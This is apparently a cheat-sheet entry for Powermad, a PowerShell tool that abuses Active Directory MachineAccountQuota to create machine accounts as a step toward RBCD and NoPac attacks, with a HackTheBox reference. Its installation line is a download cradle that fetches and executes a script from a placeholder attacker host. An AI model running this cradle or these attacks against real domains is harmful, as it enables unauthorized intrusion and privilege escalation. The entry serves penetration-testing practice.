Powermad
Creates machine accounts (a step in RBCD).
A PowerShell script that creates machine accounts in the domain by abusing MachineAccountQuota (by default any user can create 10). It is the setup step for RBCD and NoPac.
Family AD abuse (ACL, ADCS, coercion)
Flags New-MachineAccount
Concepts RBCD (Resource-Based Constrained Delegation)
Cheatsheet ACL / DACL abuse
Installation
IEX(New-Object Net.WebClient).DownloadString('http://<lhost>/Powermad.ps1')Useful commands
Appears in
Some machines where its use is documented; not an exhaustive list.
- SupportHackTheBox